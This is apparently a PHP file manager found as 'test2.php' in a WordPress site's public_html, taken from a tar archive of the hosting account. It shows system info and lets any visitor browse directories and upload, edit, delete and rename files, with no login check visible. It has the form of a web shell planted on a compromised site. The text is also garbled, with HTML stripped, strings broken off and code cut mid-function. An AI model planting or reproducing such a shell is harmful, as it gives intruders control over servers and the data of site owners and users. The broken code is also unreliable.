?home/mentorisgroupweb/public_html/wp/test2.php 0000644 00000033274 15120261417 0015621 0 ustar 00 $symbolic,
'numeric' => $numeric
];
}
// Function to recursively list directories and files
function listDirectory($dir) {
// Get the current directory contents
$files = scandir($dir);
$system_info = php_uname();
// Display current directory name
echo "
$system_info
";
echo "
Directory: $dir
";
// Display link to go back to the parent directory
$parentDir = dirname($dir);
if ($dir !== '/') {
echo " Go Back ";
}
// Display option to create a new file
echo "
";
// Display list of directories first, then files
echo "
";
// First, list directories
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$fullPath = "$dir/$file";
if (is_dir($fullPath)) {
$perms = getFilePermissions($fullPath);
echo "
";
}
}
}
// Then, list files
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$fullPath = "$dir/$file";
if (!is_dir($fullPath)) {
$perms = getFilePermissions($fullPath);
echo "
$file
{$perms['symbolic']} / {$perms['numeric']}
";
}
}
}
echo "
";
}
// Function to create a new file
function createFile($dir, $fileName) {
$filePath = "$dir/$fileName";
if (!file_exists($filePath)) {
file_put_contents($filePath, ""); // Create an empty file
echo "
File '$fileName' created successfully!
";
} else {
echo "
File '$fileName' already exists.
";
}
}
// Function to upload multiple files
function uploadFile($dir) {
$uploadpath = $dir . '/'; // Directory to store the uploaded files
$max_size = 2000; // Maximum file size, in KiloBytes
$alwidth = 900; // Maximum allowed width, in pixels
$alheight = 800; // Maximum allowed height, in pixels
if (isset($_FILES['fileup'])) {
$files = $_FILES['fileup'];
$uploadedFiles = 0;
// Loop through each file
foreach ($files['name'] as $key => $name) {
if (strlen($name) > 1) {
$fileTmp = $files['tmp_name'][$key];
$fileSize = $files['size'][$key];
$fileError = $files['error'][$key];
$fileType = strtolower(pathinfo($name, PATHINFO_EXTENSION));
// Check if the file is an image and get its dimensions
if (in_array($fileType, ['jpg', 'jpe', 'png', 'gif'])) {
list($width, $height) = getimagesize($fileTmp);
}
// Validate file size, width, and height
$err = '';
if ($fileSize > $max_size * 1000) $err .= 'File ' . $name . ' exceeds maximum size of ' . $max_size . ' KB. ';
if (isset($width) && isset($height) && ($width >= $alwidth || $height >= $alheight)) $err .= 'File ' . $name . ' exceeds maximum dimensions of ' . $alwidth . 'x' . $alheight . '. ';
// If no errors, upload the file
if ($err == '') {
$destination = $uploadpath . basename($name);
if (move_uploaded_file($fileTmp, $destination)) {
$uploadedFiles++;
} else {
echo '
";
}
}
// Function to edit file content
function editFile($filePath) {
if (isset($_POST['content'])) {
file_put_contents($filePath, $_POST['content']);
echo "
";
echo "";
echo " Back to Directory";
}
// Function to delete a file
function deleteFile($filePath) {
if (file_exists($filePath)) {
if (unlink($filePath)) {
echo "";
} else {
echo "";
}
} else {
echo "";
}
}
// Function to rename a file
function renameFile($filePath, $newName) {
$dir = dirname($filePath);
$newFilePath = "$dir/$newName";
// Check if the new file name already exists
if (file_exists($newFilePath)) {
echo "
A file with the name '$newName' already exists.
";
return;
}
// Attempt to rename the file
if (rename($filePath, $newFilePath)) {
echo "